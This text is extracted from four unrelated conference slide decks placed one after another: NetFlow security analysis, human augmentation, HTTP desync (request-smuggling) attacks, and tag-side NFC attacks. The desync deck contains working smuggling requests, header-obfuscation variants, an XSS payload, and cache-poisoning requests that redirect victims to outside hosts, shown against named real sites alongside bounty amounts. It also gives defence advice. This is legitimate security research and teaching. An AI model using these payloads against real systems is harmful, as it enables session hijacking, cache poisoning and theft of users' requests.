looking for or where to look
The reality for most enterprises
Requires more specialized tools to help distill the data first
Copyright 2008 - Bruce Potter
WHAT DO THESE GRAPHS HAVE IN
COMMON?
Copyright 2008 - Bruce Potter
TYPES OF SECURITY ANALYSIS – TIME
DOMAIN VS. FREQUENCY DOMAIN
Time Domain analysis is common with most
“enterprise management” tools.
Most operators care about what’s going on minute to
minute and how that compares what happened a
minute/hour/day/week ago
OSS tools like MRTG have made a lot of ppl very
happy over the years.
Unfortunately tools like MRTG have created blinders
on most operators who end up believing time series
analysis is THE ONLY analysis
Copyright 2008 - Bruce Potter
LIMITATIONS OF TIME DOMAIN ANALYSIS
There are others aspects of the data that get lost
in the process of rolling everything together to
make a pretty graph that varies over time
Per host, who is sending the most data outbound?
Who is pulling in the most data?
Per host, who is talking to the most DSL hosts? The
most Asia-Pacific hosts?
How many hosts are speaking more than 3 protocols?
4? 5? 100?
Time domain analysis won’t tell you any of these
answers
MRTG and the other tools are NOT geared up
towards this.
Copyright 2008 - Bruce Potter
WHAT IS THIS GRAPH?
Copyright 2008 - Bruce Potter
Could be anything…. Size of emails? Traffic sent per host?
Number of hosts spoken to per host? Documents printed per day?
WHAT IS THIS GRAPH?
Copyright 2008 - Bruce Potter
Could be anything…. Size of emails? Traffic sent per host?
Number of hosts spoken to per host? Documents printed per day?
Probably OK
data…
WHAT IS THIS GRAPH?
Copyright 2008 - Bruce Potter
Could be anything…. Size of emails? Traffic sent per host?
Number of hosts spoken to per host? Documents printed per day?
Might not be
“OK” data…
Need to have
a closer look.
WHAT IS A FLOW?
Data regarding a unidirectional flow of
information through a network
Nothing more complicated than that
Copyright 2008 - Bruce Potter
REASONS TO CARE ABOUT NETWORK
FLOWS
Great visibility into a network without a ton of
processor power required on the collection and
analysis hosts
More detail than SNMP
Less complicated than full packet dumps
Relatively cheap for the routers to export
Your network infrastructure is already inline and
sees all your data
Netflow records take up little bandwidth
Advanced statistical analysis can undercover
policy violations, bot nets, malware, etc..
Come to my BlackHat USA 2008 talk to learn
more
Copyright 2008 - Bruce Potter
FREQUENCY DOMAIN ANALYSIS
Looking at how often an event occurred per a
given metric (per host, per subnet, per protocol,
etc) rather than when an event occurred in
relation to other events
Not a complicated concept
However, it is a concept geared more toward analysts
rather than operators.
Few tools available today are focused on analyzing
data; rather the tools are designed to fix a current
problem and move on.
Copyright 2008 - Bruce Potter
OTHER TYPES OF ANALYSIS
Things can get really complicated beyond these
basics
Correlation within a dataset – “how often was traffic
with >2 ratio of outbound traffic going to Asia on
weekends”
Correlation across multiple datasets – “How often is a
small HTTP outbound connection followed by a login
from the domain controller”
These types of analysis get computationally
expensive
But certainly not impossible. Q1Labs Qradar product
does a good job of correlating data as it’s coming in.
NetWitness does an amazing job at it, but it’s really a
huge product to bring in house.
Copyright 2008 - Bruce Potter
WHAT IS A FLOW?
Data regarding a unidirectional flow of
information through a network
Nothing more complicated than that
Copyright 2008 - Bruce Potter
EXAMPLE
Copyright 2008 - Bruce Potter
TCP Port 80 SYN
Flow1: src:A:36812, dst: B:80,
Host A
Host B
EXAMPLE
Copyright 2008 - Bruce Potter
TCP Port 80 SYN
Flow1: src:A:36812, dst: B:80
Flow2: src:B:80, dst:A:36812
Host A
Host B
ACK
EXAMPLE
Copyright 2008 - Bruce Potter
Data
Flow1: src:A:36812, dst: B:80 (updated)
Flow2: src:B:80, dst:A:36812 (updated)
Host A
Host B
Data
EXAMPLE
Copyright 2008 - Bruce Potter
Flow1: src:A:36812, dst: B:80 (final)
Flow2: src:B:80, dst:A:36812 (final)
Collector
Sensor
Database
EXAMPLE
Copyright 2008 - Bruce Potter
Collector /
analyzer
Sensor
Database
Analyst workstation
NOTE: The analysis
capability may be on
another host
WHEN IS A FLOW RECORD GENERATED?
Four different situations cause a flow record to be
generated (general rules of thumb here, NOT set
in stone!)
A flow terminates normally
Ie: a TCP session has a packet with the FIN bit set
Only works for session based protocols
The monitoring device does not see a packet in
MAXIDLE time
Basically, if some period of time goes by (think 1-2 minutes)
where no packets are seen, the router will free up memory
by flushing the flow and presuming it dead
This is usually a tunable option. Low values may give false
positives but keep the memory footprint small. High values
give better data but can make for HUGE mem requirements
Copyright 2008 - Bruce Potter
WHEN IS A FLOW RECORD GENERATED?
Full Cache – The router is getting pushed too hard
The monitoring device sees active data for more than
MAXACTIVE time
There are times when a session might run for a LONG
time.
Rather than get one flow record for it at the very end that
throws everything off, a flow will be expired.
This does NOT mean a router closes the session… just the
accounting information gets flushed
Again, this is usually tunable. Think 5-30 minutes
It should be noted that because of these types of issues,
netflow data does not make good realtime bandwidth
monitoring feeds.
Huge FTP downloads, with a 30 min MAXACTIVE timer will
show huge spikes in bandwidth use, sometimes dramatically
exceeding the maximum available real bandwidth
Use SNMP traffic data instead… much more accurate
Copyright 2008 - Bruce Potter
DOING REAL TIME TRAFFIC ANALYSIS
If you do want to use NetFlow to monitor bandwidth,
then you’ll have to futz with the timers
Terminating flow accounting on a flow that’s reached
MAXACTIVE does not mean the flow is done
Your collector should be able to put the pieces back
together
Either based on heuristics or on TCP flags (if it’s TCP based)
Example – Set the active timer on your router to 1 minute
Certainly, this prematurely terminate the accounting record
and generate multiple flows
Your collector may have MAXACTIVE set to 6 hours. Many
few flows will be terminated incorrectly and most flows will be
reconstructed by the collection engine
This gives you 1 minute resolution on traffic
Not good enough? Do port monitoring on your switches
and graph that
Copyright 2008 - Bruce Potter
HARDWARE IMPLICATIONS
Check the router to see what it’s got left in the CPU
and memory buckets
rtr#show proc cpu
CPU utilization for five seconds: 37%/35%; one minute: 42%; five minutes: 41%
PID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTY Process
1 8180 2013277 4 0.00% 0.00% 0.00% 0 Load Meter
2 14255652 130927068 108 0.00% 0.05% 0.06% 0 OSPF Hello
3 88398944 874468 101089 0.00% 0.58% 0.68% 0 Check heaps
4 221640 408951 541 0.00% 0.00% 0.00% 0 Pool Manager
5 0 2 0 0.00% 0.00% 0.00% 0 Timers
6 32457048 72469861 447 0.00% 0.00% 0.00% 0 ARP Input
Etc...
router>show processes memory
Total: 106206400, Used: 7479116, Free: 98727284
PID TTY Allocated Freed Holding Getbufs Retbufs Process
0 0 81648 1808 6577644 0 0 *Init*
0 0 572 123196 572 0 0 *Sched*
0 0 10750692 3442000 5812 2813524 0 *Dead*
1 0 276 276 3804 0 0 Load Meter
2 0 228 0 7032 0 0 CEF Scanner
3 0 0 0 6804 0 0 Check heaps
Etc…
Copyright 2008 - Bruce Potter
BUILDING YOUR OWN?
You’ll need a box or two…
You want reliable boxes. It should be noted that
these boxes will be inline with your network. So they
should be as reliable as an ethernet cable
Needs to be able to handle the flow generation
software without much hassle
Not really too hard. You can easily push wirespeed 100Mb/
s on a 1GHz processor with an Linux distro.
Need a fair bit of memory (1GB should do fine, might get
away with 512MB).
Disk is not an issue because the sensor won’t be storing the
data
Buy fail open (fail closed?) Ethernet cards that will
turn into a cable upon crash or power failure.
Not cheap… like $200-$500 each
Copyright 2008 - Bruce Potter
SOFTFLOWD
There are a variety of NetFlow sensors available in
the OSS world
I’m partial to Softflowd
Stable, good licence
Easy to configure
http://www.mindrot.org/projects/softflowd/
Runs quickly and easily on Linux and FreeBSD (w00t! Go
FreeBSD!)
The basic idea is that you create a bridge group of two
ethernet interfaces
This is allows you to drop a softflow box inline without
modifying any of your IP/subnet architecture
Then bind softflowd to the bridge group and tell it
where to export the flows
That’s it…
Copyright 2008 - Bruce Potter
CISCO ROUTER
# Assume that fe 0/1 is the inbound from
the Interenet and fe0/2 is the LAN facing
interface
router(config)#interface FastEthernet 0/1
router(config-if)#ip route-cache flow
router(config-if)#exit
#since by default this is only for inbound,
repeat for the other interface
router(config)#interface FastEthernet 0/2
router(config-if)#ip route-cache flow
router(config-if)#exit
Copyright 2008 - Bruce Potter
CISCO ROUTER
#configure the netflow collector IP and port
router(config)#ip flow-export destination
192.168.90.10 9996
#by default, the flows will be sourced from
lo0.. change if needed
router(config)#ip flow-export source
FastEthernet 0/1
router(config)#ip flow-export version 5
#super aggressive timeout for active to keep
data flowing into the collector (mins)
router(config)#ip flow-cache timeout active 1
#also aggressive (seconds)
router(config)#ip flow-cache timeout inactive 15
Copyright 2008 - Bruce Potter
CHECKING UP
show ip cache flow
IP packet size distribution (489639251 total packets):
1-32 64 96 128 160 192 224 256 288 320 352 384 416 448 480
.000 .992 .000 .003 .000 .000 .000 .000 .000 .000 .000 .000 .000 .000 .000
512 544 576 1024 1536 2048 2560 3072 3584 4096 4608
.000 .000 .000 .000 .003 .000 .000 .000 .000 .000 .000
Copyright 2008 - Bruce Potter
CHECKING UP
IP Flow Switching Cache, 8913408 bytes
5088 active, 125984 inactive, 1843766371 added
805412120 ager polls, 0 flow alloc failures
Active flows timeout in 30 minutes
Inactive flows timeout in 15 seconds
last clearing of statistics never
Protocol Total Flows Packets Bytes Packets Active(Sec)
Idle(Sec)
-------- Flows /Sec /Flow /Pkt /Sec /Flow /Flow
TCP-Telnet 28084 0.0 1 45 0.0 0.1 11.7
TCP-FTP 172835 0.0 1 47 0.0 2.4 13.7
TCP-FTPD 2818 0.0 1 40 0.0 0.2 11.3
TCP-WWW 5551226 1.2 1 53 1.3 0.1 5.0
TCP-SMTP 4179 0.0 1 42 0.0 1.0 12.2
TCP-X 2594 0.0 1 40 0.0 0.6 11.2
TCP-BGP 2546 0.0 1 40 0.0 0.2 11.5
TCP-NNTP 2554 0.0 1 40 0.0 0.1 11.2
TCP-Frag 177 0.0 2 269 0.0 1.7 16.8
TCP-other 528636 0.1 1 40 65.5 0.6 35.5
UDP-DNS 11596 0.0 1 54 0.0 0.8 17.2
UDP-NTP 723 0.0 2 40 0.0 9.0 16.8
UDP-TFTP 763 0.0 3 37 0.0 10.2 16.9
UDP-Frag 25 0.0 1 40 0.0 251.4 15.0
UDP-other 169720402 39.5 1 40 46.2 0.6 11.3
ICMP 275131 0.0 10 759 0.6 7.7 14.2
IGMP 36 0.0 1789 1246 0.0 15.2 16.9
IP-other 7 0.0 19 64 0.0 18.9 17.5
Total: 176304332 41.0 2 44 113.9 0.6 11.2
Copyright 2008 - Bruce Potter
CHECKING UP
SrcIf SrcIPaddress DstIf DstIPaddress Pr SrcP DstP Pkts
Hs9/1/0 192.168.2.51 Null 1.1.1.1 11 04A9 0017 614K
Hs9/1/0 192.168.47.72 Null 1.1.1.1 11 05F9 0017 281K
Hs9/1/0 192.168.49.52 Null 1.1.1.1 11 08EA 0017 65K
Hs9/1/0 192.168.32.18 Null 1.1.1.1 11 08EC 0017 1463K
Hs9/1/0 192.168.208.208 Null 1.1.1.1 11 0411 0017 8351K
Hs9/1/0 192.168.77.66 Null 1.1.1.1 11 126F 0017 1763K
Hs9/1/0 192.168.184.159 Null 1.1.1.1 11 0609 0017 191K
Hs9/1/0 192.168.22.48 Null 1.1.1.1 11 0885 0017 1520K
Hs9/1/0 192.168.22.48 Null 1.1.1.1 11 0883 0017 66K
Hs9/1/0 192.168.7.44 Null 1.1.1.1 11 0F07 0017 97K
Hs9/1/0 192.168.7.44 Null 1.1.1.1 11 0F09 0017 2084K
Hs9/1/0 192.168.54.208 Null 1.1.1.1 11 040C 0017 3018K
Hs9/1/0 192.168.248.90 Null 1.1.1.1 11 0521 0017 201K
Hs9/1/0 192.168.201.177 Null 1.1.1.1 11 060C 0017 171K
Hs9/1/0 192.168.201.177 Null 1.1.1.1 11 054C 0017 107K
etc. . .
Copyright 2008 - Bruce Potter
WHAT EXACTLY ARE YOU LOOKING FOR?
As much fun as it is to just dig through the data,
you tend to have a purpose for looking through it
The purpose of your analysis will drive the mans of
your analysis
Bots / malware
Data exfiltration
Policy violations
Performance / utilization
Copyright 2008 - Bruce Potter
FINDING BOTS
Look for traffic on standard bot/malware ports
TCP/UDP 53
6666, 6667 (IRC)
Hard to find port 80 bots, but not impossible
Look for large # of connections with little bandwidth
used
Examine destination address… might want to
look for data going to places you don’t trust
http://www.apnic.net/db/min-alloc.html
Copyright 2008 - Bruce Potter
DATA EXFILTRATION
Heavy outbound vs inbound data
2:1 is a pretty good ratio to weed out the noise
In many non-academic environments, that’s
sufficient…
May need to rule out mail hosts and VPN
gateways
They tend to be big outbound talkers
Ex: 2000 hosts, might see 20 flows a day that hit
this ratio
Copyright 2008 - Bruce Potter
POLICY VIOLATIONS
Known bad patterns
Hard to track P2P/VOIP traffic – Best to look for lots
of src ports talking to lots of dst ports
Have to get a good “eye” for what’s in your policy
and how it manifests itself in your traffic
Top talkers
GB of data a day, ever day starts to seem fishy
Where are your sensors?
If it’s just on the WAN links, you’ll miss internal
violations… be sure you know where your data is
coming from
Copyright 2008 - Bruce Potter
PERFORMANCE / UTILIZATION
Check out low speed links and inter-router
connections
Obviously, look for pipes near capacity
Get an understanding of the types of data on the
links and monitor the different types over time
Top talkers
Figure out who and why
High packet count / low packet sizes can indicate
latency sensitive protocols
Talk to users about their experiences
Copyright 2008 - Bruce Potter
BUILDING A COLLECTION AND ANALYSIS
HOST
Analysis of flows can be very intensive
Data tends to get stirred on the way in, and that
takes CPU and disk
The queries by the user can get pretty whacky, and
that takes CPU, disk, AND memory
As a point of reference, a 2000 host organization
will generate about 10M flows in a day.
That’s about 5k flows per host/day. A decent rule of
thumb
ShmooCon had about 2M flows in a day and a half on
about 150 machines
Copyright 2008 - Bruce Potter
SCOPING A COLLECTION MACHINE
You can do it on the sorta
cheap if you want
Box 1 - Quad core,
3GB RAM, 500GB
disk. $750
Box 2 - Quad core, 2
GB RAM, 400GB disk.
$550
Extras - 3GB
RAM($60), 2x500GB
disk for RAID0 ($240)
$1500 == 2 super
computers under my
desk
Copyright 2008 - Bruce Potter
INSTALLING PSYCHE
Pretty easy. Download from
http://psyche.pontetec.com/ and follow the
directions
DB == postgres. It’s different than MySQL, but
doesn’t have the strange license issues.
Primary testing is done against softflowd, but
should work with any sensor
Copyright 2008 - Bruce Potter
Copyright 2008 - Bruce Potter
Copyright 2008 - Bruce Potter
Copyright 2008 - Bruce Potter
Copyright 2008 - Bruce Potter
PARTING THOUGHTS
We’re really just scratching the surface here
There are more tools, more views, more data to look
at
For more tools, take a look at
http://www.networkuptime.com/tools/netflow/
Really, all of these tools have the most relevance on
your own network
You won’t believe the number of “ah-ha” moments you’ll
have using NetFlow tools
You really don’t need a huge box to use the RRD-
based tools
Take a spare system off the rack and fire up NFSen.
Shouldn’t take more than an afternoon to configure
Copyright 2008 - Bruce Potter
CONTACT INFO
Bruce Potter
[email protected]
Copyright 2008 - Bruce Potter | pdf |
Hacking Humanity:
Human Augmentation
And You
quaddi & r3plicant
Rio Hotel & Casino
July 2012
Who We Are.
Who We Are Not.
• Doctors
• Your Doctors
WARNINGS
• This talk does not constitute medical advice.
• Technologies & research described are purely experimental and dangerous.
• DO NOT ATTEMPT ANY MODIFICATIONS IN THIS TALK.
• ALWAYS CONSULT YOUR DOCTOR FOR ANY HEALTH CARE RELATED ISSUES.
• There are a few graphic graphic medical images in this presentation.
Objectives
• Take a quick trip through the history of
human augmentation.
• Briefly get up to date on current medical
stance/ethics of human augmentation.
• Become familiar with the current
technologies, physiology, and feasibility
of various augments.
• Highlight barriers to, and risks of
augmentation.
• If we have time…
Human Augmentation
Design &
Build
Complex
Mods
Integrate
into the
Human
body
Hope No
One Dies
The problem.
Traditional Medical Paradigm
Treatment
Disease
Symptom
Symptom
Symptom
Health
Health
Treat disease to replace loss of
function, and/or alleviate suffering.
The Enhancement Paradigm
Use medical technology to improve
the human condition
Definitions
• Enhancement
• Augmentation
• Cyborg
• Transhumanism
History
The first cyborg circa 75 million BC
History
Real History
•1500s
Basic
prosthe1cs
•1924
EEG
•1927
First
therapeu1c
use
of
amphetamine
•1940
first
hip
implant
surgery
•1952
Cage-‐ball
ar1ficial
heart
valve.
•1958
first
implantable
cardiac
pacemaker
•1976
First
neural
implants
•1982
Ar1ficial
heart
•1984
Cochlear
implant
FDA
approval
•1990s
Microprocessor
controlled
robo1c
knee
•1990
first
gene
therapy
SCID
•1991
first
synthe1c
3D
nano
structure
•1994
L
ventricular
assist
device.
•1997
first
neural
implants
to
treat
disease
•1999
First
DNA
nano
machine
•2004
total
ar1ficial
heart
FDA
approved
•2006
DNA
Vaccine
success
•2007
–
2010
Gene
therapy
success
•2008
Bladerunner
of
South
Africa
restricted
from
Olympics
•2008
neural
control
by
human
brain.
Why Augment?
Step 1
Pick your mod
Mechanical/Biomechanical
Chemical
Synaptic Transmission
Nanobots
Genetics
Rewrite your source code
Trials
Mistakes
Step 2
Pick your materials
Buy?
$16 a page.
What we use now.
Pick your materials
Materials
Metals
Polymers
• Polyethylene
• Trimethylene
carbonate
• Polyglycolic acid
• Spider silk
• Polyetheretherketone
• Polysulfone
• Chromium
• Nickel
• Molybdenum
• Titanium
• Magnesium alloys
• Iron
• Cobalt
Peter B. Maurus, Christopher C. Kaeding, Bioabsorbable implant material review, Operative Techniques in Sports Medicine, Volume 12, Issue 3, July 2004, Pages 158-160
Why we use it.
Foreign Body Reaction
Pop Quiz
“My family and I are deeply sorry for all
that vice president Cheney has had to go
through this past week. We send our love
and respect to them as they deal with
situations that are much more serious than
what we’ve had this week.”
Step 3
Pick your site
Step 3: Pick Your Site
• Match function of mod with location.
• Ease of upgrade?
• Careful not to disrupt normal function of
native tissue.
Brachial Plexus
Possible Sites
• Head:
• Brain parenchyma
• Ventricles
• Middle ear
• Body cavities:
• Thoracic
• Abdominal
• Subdermal
Step 4
Implant your mod.
Step 4: Implant Your Mod.
• Expertise needed.
• No back alley jobs.
• Multiple risks.
Infection
Step 5
Connect your mod
Decode the signal
Step 6
Power your mod
Step 6: Power Your Mod.
• Implantable
batteries
– Heat?
– Toxic materials?
– Size?
– Capacity?
• Fuel cells
– Fuel?
– Capacity?
Step 7
Save Your Pennies
Typical Cost
• Cardiac pacemaker – $22,734 USD
• Hip replacement – $22,527 (per hip)
• Leg prosthesis – $35,789 (per leg)
• Cochlear implant – $39,547 (Per ear)
Step 8
Support Your Local Augmented.
Step 9
Cyborg: Secure Thyself.
Step 10
Prepare for unforeseen Consequences.
Step 10
Prepare for unforeseen Consequences.
Q&A | pdf |
HTTP DESYNC ATTACKS
SMASHING INTO THE CELL NEXT DOOR
James Kettle
The Fear Theory
Q) What topic am I really scared of?
A) HTTP Request Smuggling
Hiding Wookiees in HTTP
First documented by Watchfire in 2005
"You will not earn bounties"
"You will certainly not be considered like a white hat"
• Theory & Methodology
• Exploitation Case Studies
• Defence
• Q&A
Outline
Keepalive
Keepalive, desynchronized
Desynchronizing: the classic approach
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5
12345G
Unknown method GPOST
Frontend sees this
Backend sees this
POST / HTTP/1.1
Host: example.com
…
Desynchronizing: the chunked approach
POST / HTTP/1.1
Host: example.com
Content-Length: 66
Transfer-Encoding: chunked
0
GPOST / HTTP/1.1
…
Frontend sees this
Backend sees this
Unknown method GPOST
Desynchronizing: the TE.CL approach
POST / HTTP/1.1
Host: example.com
Content-Length: 3
Transfer-Encoding: chunked
6
PREFIX
0
POST / HTTP/1.1
Host: example.com
Frontend sees this
Backend sees this
Forcing desync
If a message is received with both a Transfer-Encoding header field and a Content-
Length header field, the latter MUST be ignored. – RFC 2616 #4.4.3
Transfer-Encoding
: chunked
Transfer-Encoding: xchunked
GET / HTTP/1.1
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Content-Length: 123
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
X: X[\n]Transfer-Encoding: chunked
Methodology
Detecting desync
POST /about HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
CL.CL: backend response
TE.TE: backend response
TE.CL: timeout
CL.TE: socket poison
POST /about HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 6
3
abc
Q
CL.CL: backend response
TE.TE: frontend response
TE.CL: frontend response
CL.TE: timeout
Confirming desync
POST /search HTTP/1.1
Content-Length: 51
Transfer-Encoding: zchunked
11
=x&q=smuggling&x=
0
GET /404 HTTP/1.1
X: X
POST /search HTTP/1.1
Content-Length: 4
Transfer-Encoding: zchunked
96
GET /404 HTTP/1.1
X: X=1&q=smugging&x=
Host: example.com
Content-Length: 100
x=
0
POST /search HTTP/1.1
Host: example.com
Triggers 404 if vulnerable
POST /search HTTP/1.1
Host: example.com
…
CASE STUDIES
Bypassing rules
POST / HTTP/1.1
Host: software-vendor.com
Content-Length: 200
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: software-vendor.com
X: X GET / HTTP/1.1
Host: software-vendor.com
HTTP/1.1 200 OK
Please log in
Bypassing rewrites
POST / HTTP/1.1
Host: security-vendor.com
X-Forwarded-For: 127.0.0.1
Content-Length: 200
Transfer-Encoding : chunked
0
GET / HTTP/1.1
Host: security-vendor.com
X-Forwarded-For: 127.0.0.1
X: XGET…
$300
xyz.burpcollaborator.net
Request reflection
POST / HTTP/1.1
Host: login.newrelic.com
Content-Length: 142
Transfer-Encoding: chunked
Transfer-Encoding: x
0
POST /login HTTP/1.1
Host: login.newrelic.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
…
login[email]=asdf
Please ensure that your email and
password are correct.
<input id="email" value="asdfPOST
/login HTTP/1.1
Host: login.newrelic.com
X-Forwarded-For: 81.139.39.150
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-
SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
POST /login HTTP/1.1
Host: login.newrelic.com
Exploring
HTTP/1.1 301 Moved Permanently
Location: https://staging-alerts.newrelic.com/
GET / HTTP/1.1
Host: staging-alerts.newrelic.com
GET / HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
HTTP/1.1 404 Not Found
Action Controller: Exception caught
GET /revision_check HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
HTTP/1.1 200 OK
Not authorized with header:
GET /revision_check HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
X-nr-external-service: 1
HTTP/1.1 403 Forbidden
Forbidden
Exploring
POST /login HTTP/1.1
Host: login.newrelic.com
Content-Length: 564
Transfer-Encoding: chunked
Transfer-encoding: cow
0
POST /internal_api/934454/session HTTP/1.1
Host: alerts.newrelic.com
X-Forwarded-Proto: https
Service-Gateway-Account-Id: 934454
Service-Gateway-Is-Newrelic-Admin: true
Content-Length: 6
…
x=123
{
"user": {
"account_id": 934454,
"is_newrelic_admin": true
},
"current_account_id": 934454
…
}
GET…
+$3,000
$3,300
Involuntary request storage
POST /1/cards HTTP/1.1
Host: trello.com
Transfer-Encoding:[tab]chunked
Content-Length: 4
9f
PUT /1/members/1234 HTTP/1.1
Host: trello.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
x=x&csrf=1234&username=testzzz&bio=cake
0
GET / HTTP/1.1
Host: trello.com
+$1,800
+$2,500
$7,600
Harmful responses
POST / HTTP/1.1
Host: saas-app.com
Content-Length: 4
Transfer-Encoding : chunked
10
=x&csrf=token&x=
66
POST /index.php HTTP/1.1
Host: saas-app.com
Content-Length: 100
SAML=a"><script>alert(1)</script>
0
HTTP/1.1 200 OK
…
<input name="SAML"
value="a"><script>alert(1)
</script>
0
POST / HTTP/1.1
Host: saas-app.com
Cookie: …
"/>
POST / HTTP/1.1
Host: saas-app.com
Cookie: …
+$2,000
$9,600
Accidental Cache Poisoning
POST / HTTP/1.1
Host: redacted.com
Content-Length: 45
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Host: 52.16.21.24
X: X
HTTP/1.1 301 Moved Permanently
Location: https://52.16.21.24/
GET /images/x.png HTTP/1.1
Frontend perspective
GET /images/x.png HTTP/1.1
Web Cache Deception++
POST / HTTP/1.1
Transfer-Encoding: blah
0
GET /account/settings HTTP/1.1
X: X
HTTP/1.1 200 OK
Your payment history
…
GET /static/site.js HTTP/1.1
Sensitive responses with fixed, uncached extensions
Sensitive POST responses
Frontend perspective
Expected habitat:
GET /static/site.js HTTP/1.1
Cookie: sessionid=xyz
CDN Chaining
POST /cow.jpg HTTP/1.1
Host: redacted.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Transfer-Encoding: chunked
0
GET / HTTP/1.1
Host: www.redhat.com
X: X
Red Hat - We make open source technologies for the enterprise
GET…
Chaining DOM Problems
GET /assets/idx?redir=//[email protected]/ HTTP/1.1
Host: www.redhat.com
<script>
var destination = getQueryParam('redir')
[low quality filtering]
document.location = destination
</script>
POST /en/search?dest=../assets/idx?redir=… HTTP/1.1
Host: www.redhat.com
HTTP/1.1 301 Found
Location: /assets/idx?redir=//redhat.co…
Runs on unknown
URL in victim's
browser
Solution: chain a
server-side local
redirect
'Harmless' responses
POST /etc/libs/xyz.js HTTP/1.1
Host: redacted.com
Content-Length: 57
Transfer-Encoding: chunked
0
POST /etc HTTP/1.1
Host: burpcollaborator.net
X: X
HTTP/1.1 301 Moved Permanently
Location: https://burpcollaborator.net/etc/
GET /etc/libs/xyz.js HTTP/1.1
…
+$550
+$750
+$1,000
+$2,000
+$5,000
+$15,000*
$31,900
Web Cache Poisoning
POST /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1
Host: c.paypal.com
Content-Length: 61
Transfer-Encoding: chunked
0
GET /webstatic HTTP/1.1
Host: skeletonscribe.net
X: XGET /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1
Host: c.paypal.com
Connection: close
HTTP/1.1 302 Found
Location: http://skeletonscribe.net , c.paypal.com/webstatic/
?
?
PayPal Poisoning
+$18,900
$50,800
Wrapped exploits
GET / HTTP/1.1
Host: c.paypal.com
Content-Length: 5
Transfer-Encoding: chunked
0
HTTP/1.1 403 Forbidden
Server: AkamaiGHost
<HTML><HEAD>
<TITLE>Access Denied</TITLE>
</HEAD>
GET / HTTP/1.1
Host: c.paypal.com
Content-Length: 5
Transfer-Encoding:
chunked
0
HTTP/1.1 200 OK
…
+$20,000
$70,800
DEMO
-bugzilla-
+$4,500
$75,300
Tooling
• Support manual content-length & chunking
• Don't proxy testers
Safety
• Frontend: Normalize ambiguous requests – RFC 7230
• Frontend: Use HTTP/2 to talk to backend
• Backend: Drop request & connection
DEFENCE
Whitepaper
https://portswigger.net/blog/http-desync-attacks
Online labs
https://portswigger.net/web-security/request-smuggling
Desynchronize
https://github.com/portswigger/desynchronize
References
http://cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
DEF CON 24 – regilero - Hiding Wookiees in HTTP
Further reading
• Detection doesn't have to be dangerous
• HTTP parsing is security critical
• Complexity is the enemy
TAKEAWAYS
@albinowax
Email: [email protected] | pdf |
Tag-side attacks against NFC
What is NFC?
Contactless communication between two
devices in close proximity
Many uses, primarily door controls and
payment systems
Why attack NFC?
Interesting technology
Low-level analysis tools can be prohibitively expensive
Known to be insecure, but still widely used
ISO-14443
Focuses on 13.56MHz NFC communication
Defines the characteristics of the communication performed between tags and readers
Two tag types based on it, A and B
ISO-14443A is the most commonly used of the standards
Low-level communication – ISO14443A
Tags are powered by electromagnetic induction
Communication is sent by the reader by disabling the field at specific intervals
The reader uses the Modified Miller coding scheme for transmitting data to the tag
Responses are sent by the tag by modifying the power being drawn from the reader
Tags use the Manchester coding scheme to modulate the load
Each communicated byte has an additional parity bit
Modified Miller
Disables field a defined intervals
Minimises power loss
Defined as follows:
•
0 bit after 0 bit: low for the first quarter of the transmission, followed by high for the remainder
of the transmission
•
0 bit after 1 bit: high for the entire transmission
•
1 bit: high for the first half of the transmission, followed by low for one quarter of the
transmission, and high for the remainder of the transmission
0
0
1
1
0
0
1
0
0
Manchester
Performed by modifying the phase of the signal
In NFC is communicated by modifying the load being drawn by the tag, using a subcarrier
1
0
0
1
0
Basic Enumeration
Anticollision
Performed when two tags are communicating with a
reader
Involves requesting responses based on partial UIDs
Increases the number of bits requested until a single
UID is identified
Once communication is complete, the next tag can be
identified and communicated with
Encryption and Authentication – Mifare Ultralight
An authentication key is sent to the tag
If the key is accurate, the reader has authenticated with the tag and communication can
perform
Failed attempts are logged, and in some cases can lock the chip
Can work with no authentication
Support for a wider number of authentication methods in newer versions
Encryption and Authentication – Mifare Classic
Utilises Crypto-1 algorithm
Reader requests authentication for a sector of the tag (0x60/0x61)
Tag responds with a unique four byte nonce
Reader responds with a random value, followed by an encrypted number generated
from the original nonce
Tag responds with an encrypted number generated from the nonce
All further communication is encrypted as authentication has been performed
Each sector of the tag can be authenticated using its own unique keys
Encryption and Authentication – Mifare DESFire
Based on different application IDs
Authentication based on DES, 3-DES or AES depending on version and configuration
Multiple keys can be used for authentication
Authenticated similarly to Mifare Classic
Not yet been broken in any meaningful manner
Creating analysis tools
Existing tools and projects
Proxmark3 - https://proxmark.com/
Chameleon Mini - https://github.com/emsec/ChameleonMini
HydraNFC - https://hydrabus.com/hydranfc-1-0-specifications/
SimpleNFC - http://www.nonan.net/nkruse/simplenfc
Emutag - http://www.emutag.com/
NFC field detection
LED and a coil of wire
Useful for detecting when a field is active
Creating a passive sniffer – RTL-SDR
Powerful SDR, able to tune between 25MHz and 1700MHz
Configurable sample rate
Libraries available for simple communication
Problems:
Cannot tune down to 13.56MHz without hardware modifications
Cannot run at a low sample rate
Bundled with weak antenna
Not built for purpose
Creating a passive sniffer – RTL-SDR
Possible to tune to harmonic frequency, providing adequate signal (27.12MHz)
Can synchronise with the reader by setting sample rate to 1.695MHz
Antenna modifications not required, introducing a coil to the NFC field provides
adequate power for analysis
Possible to detect communication from the reader to the tag
Constant signal means automatic gain control is possible
Accurate responses, providing real-time analysis of communication
Building a tag
Mifare Classic was used as the initial tag type
Wanted to build it with no standard NFC chipsets, as these would limit access to raw
communication
